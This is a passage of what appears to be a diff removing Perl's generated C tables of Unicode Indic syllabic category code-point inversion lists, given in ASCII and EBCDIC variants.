0x1134E, - 0x11357, - 0x11358, - 0x1135E, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11448, - 0x11450, - 0x1145A, - 0x11481, - 0x114C5, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173C, - 0x11A00, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__OTHER_invlist[] = { /* for EBCDIC 1047 */ - 613, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x60, - 0x61, - 0xBF, - 0xC0, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x900, - 0x950, - 0x951, - 0x953, - 0x955, - 0x964, - 0x966, - 0x970, - 0x972, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA74, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE2F, - 0xE30, - 0xE3B, - 0xE40, - 0xE46, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEAF, - 0xEB0, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC8, - 0xECC, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF86, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x104E, - 0x104F, - 0x1050, - 0x109E, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17D4, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE2, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DFB, - 0x1DFC, - 0x200C, - 0x200E, - 0x2010, - 0x2015, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x25CC, - 0x25CD, - 0xA800, - 0xA802, - 0xA803, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F4, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA980, - 0xA9C1, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E6, - 0xA9E7, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAAE0, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABC0, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x11000, - 0x11047, - 0x11052, - 0x11070, - 0x1107F, - 0x110BB, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11180, - 0x111C4, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x1135E, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11448, - 0x11450, - 0x1145A, - 0x11481, - 0x114C5, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173C, - 0x11A00, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__OTHER_invlist[] = { /* for EBCDIC 037 */ - 613, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x60, - 0x61, - 0xBF, - 0xC0, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x900, - 0x950, - 0x951, - 0x953, - 0x955, - 0x964, - 0x966, - 0x970, - 0x972, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA74, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE2F, - 0xE30, - 0xE3B, - 0xE40, - 0xE46, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEAF, - 0xEB0, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC8, - 0xECC, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF86, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x104E, - 0x104F, - 0x1050, - 0x109E, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17D4, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE2, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DFB, - 0x1DFC, - 0x200C, - 0x200E, - 0x2010, - 0x2015, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x25CC, - 0x25CD, - 0xA800, - 0xA802, - 0xA803, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F4, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA980, - 0xA9C1, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E6, - 0xA9E7, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAAE0, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABC0, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x11000, - 0x11047, - 0x11052, - 0x11070, - 0x1107F, - 0x110BB, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11180, - 0x111C4, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x1135E, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11448, - 0x11450, - 0x1145A, - 0x11481, - 0x114C5, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173C, - 0x11A00, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_INSC__PUREKILLER_invlist[] = { /* for all charsets */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD3B, - 0xD3D, - 0xE3A, - 0xE3B, - 0xE4E, - 0xE4F, - 0xF84, - 0xF85, - 0x103A, - 0x103B, - 0x1714, - 0x1715, - 0x1734, - 0x1735, - 0x17D1, - 0x17D2, - 0x1A7A, - 0x1A7B, - 0x1BAA, - 0x1BAB, - 0x1BF2, - 0x1BF4, - 0xA806, - 0xA807, - 0xA953, - 0xA954, - 0xABED, - 0xABEE, - 0x11134, - 0x11135, - 0x112EA, - 0x112EB, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11D44, - 0x11D45 -}; - -static const UV PL_INSC__REGISTERSHIFTER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x17C9, - 0x17CB -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for ASCII/Latin1 */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB2, - 0xB4, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xFC6, - 0xFC7, - 0x17CB, - 0x17CC, - 0x17CE, - 0x17D1, - 0x17D3, - 0x17D4, - 0x17DD, - 0x17DE, - 0x193B, - 0x193C, - 0x1A7B, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1C36, - 0x1C37, - 0x1DFB, - 0x1DFC, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x11A33, - 0x11A34 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for EBCDIC 1047 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xFC6, - 0xFC7, - 0x17CB, - 0x17CC, - 0x17CE, - 0x17D1, - 0x17D3, - 0x17D4, - 0x17DD, - 0x17DE, - 0x193B, - 0x193C, - 0x1A7B, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1C36, - 0x1C37, - 0x1DFB, - 0x1DFC, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x11A33, - 0x11A34 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for EBCDIC 037 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xFC6, - 0xFC7, - 0x17CB, - 0x17CC, - 0x17CE, - 0x17D1, - 0x17D3, - 0x17D4, - 0x17DD, - 0x17DE, - 0x193B, - 0x193C, - 0x1A7B, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1C36, - 0x1C37, - 0x1DFB, - 0x1DFC, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x11A33, - 0x11A34 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_INSC__TONELETTER_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1970, - 0x1975, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3 -}; - -static const UV PL_INSC__TONEMARK_invlist[] = { /* for all charsets */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE48, - 0xE4C, - 0xEC8, - 0xECC, - 0x1037, - 0x1038, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x19C8, - 0x19CA, - 0x1A75, - 0x1A7A, - 0xA92B, - 0xA92E, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xABEC, - 0xABED -}; - -static const UV PL_INSC__VIRAMA_invlist[] = { /* for all charsets */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x94D, - 0x94E, - 0x9CD, - 0x9CE, - 0xA4D, - 0xA4E, - 0xACD, - 0xACE, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xCCD, - 0xCCE, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0x1B44, - 0x1B45, - 0xA8C4, - 0xA8C5, - 0xA9C0, - 0xA9C1, - 0x11046, - 0x11047, - 0x110B9, - 0x110BA, - 0x111C0, - 0x111C1, - 0x11235, - 0x11236, - 0x1134D, - 0x1134E, - 0x11442, - 0x11443, - 0x114C2, - 0x114C3, - 0x115BF, - 0x115C0, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B7, - 0x11C3F, - 0x11C40 -}; - -static const UV PL_INSC__VISARGA_invlist[] = { /* for all charsets */ - 67, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x903, - 0x904, - 0x983, - 0x984, - 0xA03, - 0xA04, - 0xA83, - 0xA84, - 0xB03, - 0xB04, - 0xC03, - 0xC04, - 0xC83, - 0xC84, - 0xD03, - 0xD04, - 0xD83, - 0xD84, - 0xF7F, - 0xF80, - 0x1038, - 0x1039, - 0x17C7, - 0x17C8, - 0x1B04, - 0x1B05, - 0x1B82, - 0x1B83, - 0x1CF2, - 0x1CF4, - 0xA881, - 0xA882, - 0xA983, - 0xA984, - 0xAAF5, - 0xAAF6, - 0x10A0F, - 0x10A10, - 0x11002, - 0x11003, - 0x11082, - 0x11083, - 0x11102, - 0x11103, - 0x11182, - 0x11183, - 0x11303, - 0x11304, - 0x11445, - 0x11446, - 0x114C1, - 0x114C2, - 0x115BE, - 0x115BF, - 0x1163E, - 0x1163F, - 0x116AC, - 0x116AD, - 0x11A39, - 0x11A3A, - 0x11A97, - 0x11A98, - 0x11C3E, - 0x11C3F, - 0x11D41, - 0x11D42 -}; - -static const UV PL_INSC__VOWEL_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1963, - 0x196E, - 0xA85E, - 0xA862, - 0xA866, - 0xA867, - 0xA922, - 0xA92B, - 0x11150, - 0x11155 -}; - -static const UV PL_INSC__VOWELDEPENDENT_invlist[] = { /* for all charsets */ - 237, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93A, - 0x93C, - 0x93E, - 0x94D, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x962, - 0x964, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAE2, - 0xAE4, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD7, - 0xBD8, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCE2, - 